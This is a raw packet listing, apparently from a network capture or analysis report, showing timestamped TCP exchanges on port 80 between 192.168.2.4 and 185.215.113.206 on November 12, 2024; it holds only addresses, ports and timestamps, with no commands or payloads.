Nov 12, 2024 15:41:06.242943048 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.242952108 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.242957115 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.242964029 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.242968082 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.242980957 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.242983103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243010044 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.243026018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243031025 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.243037939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243066072 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.243084908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.243134022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243144035 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243150949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243165016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243175030 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.243207932 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.243227959 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243240118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243256092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243273973 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.243294954 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.243429899 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243443012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243457079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243469000 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243479967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243479967 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.243490934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243501902 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243505001 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.243516922 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.243541956 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.243577003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243591070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243602037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243613005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243618011 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.243628979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243628979 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.243640900 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243650913 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.243681908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.243925095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243948936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243958950 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.243973017 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.244002104 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.244052887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.244066000 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.244076014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.244091988 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.244100094 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.244117022 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.244131088 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.244152069 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.244164944 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.244334936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.244349003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.244359970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.244371891 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.244381905 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.244390965 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.244395018 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.244402885 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.244426012 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.244443893 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.276206017 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276217937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276223898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276231050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276237011 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276246071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276257992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276264906 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276271105 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276278019 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276282072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276346922 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276352882 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276359081 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276412010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276423931 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276429892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276437044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276443005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276576042 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276586056 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276607037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276618958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276633024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276644945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276647091 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.276647091 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.276647091 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.276684999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.276684999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.276699066 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276699066 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.276712894 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276736021 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.276755095 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.276937008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276949883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276971102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276973963 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.276983023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276993990 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.276997089 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277008057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277014017 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277019024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277030945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277039051 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277053118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277061939 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277064085 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277077913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277089119 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277089119 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277101994 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277112961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277122021 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277124882 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277137041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277143002 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277152061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277168036 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277168036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277184010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277193069 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277196884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277225971 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277247906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277272940 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277285099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277293921 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277304888 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277318001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277318001 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277339935 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277364969 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277369022 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277378082 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277389050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277405977 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277426004 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277445078 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277472973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277483940 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277493000 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277507067 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277514935 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277523994 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277535915 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277555943 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277575016 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277611971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277654886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277689934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277729034 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277878046 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277889967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277901888 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277913094 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277914047 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277925968 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277937889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277940035 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277949095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277954102 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.277961016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.277987003 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.278003931 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.278022051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278037071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278052092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278058052 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.278068066 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278076887 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.278083086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278093100 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278099060 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.278110981 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.278136969 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.278177023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278187037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278196096 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278209925 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278218985 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.278223038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278235912 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278242111 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.278261900 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278273106 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278279066 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.278285027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278304100 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278306007 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.278315067 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278325081 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.278348923 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278359890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278367996 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.278393984 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.278418064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278429985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278439999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278456926 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.278476000 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.278482914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278491974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278501987 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278516054 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278522968 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.278561115 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.278698921 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278737068 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.278773069 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278786898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278810978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.278827906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.278846979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278860092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278872013 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278883934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.278887033 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.278901100 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.278918028 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.279133081 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279145002 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279156923 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279169083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279185057 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.279201984 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.279218912 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.279239893 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279252052 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279263020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279274940 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.279284954 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279294968 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.279299021 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279309988 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.279315948 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279331923 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.279357910 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.279361010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279371977 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279385090 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279396057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279403925 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.279409885 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279417038 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.279423952 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279434919 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.279462099 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.279495001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279505968 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279519081 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279529095 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.279557943 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.279601097 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279613972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279625893 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279639006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.279639006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279653072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279666901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279668093 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.279691935 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.279694080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279706955 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279711962 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.279736042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.279752016 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.279932022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279944897 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279954910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279968977 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279973030 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.279982090 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.279998064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280009985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280013084 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280019999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280030966 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280034065 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280047894 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280055046 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280059099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280071974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280076981 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280095100 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280105114 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280123949 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280138016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280148983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280148983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280172110 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280189037 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280225992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280237913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280249119 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280257940 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280262947 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280280113 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280292988 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280308008 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280433893 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280446053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280457020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280468941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280478954 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280488014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280503035 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280510902 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280514956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280527115 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280530930 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280539036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280551910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280559063 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280570030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280586958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280591011 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280601025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280611038 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280642033 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280652046 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280663967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280675888 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280688047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280692101 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280698061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280713081 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.280714989 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.280745029 CET	49730	80	192.168.2.4	185.215.113.206
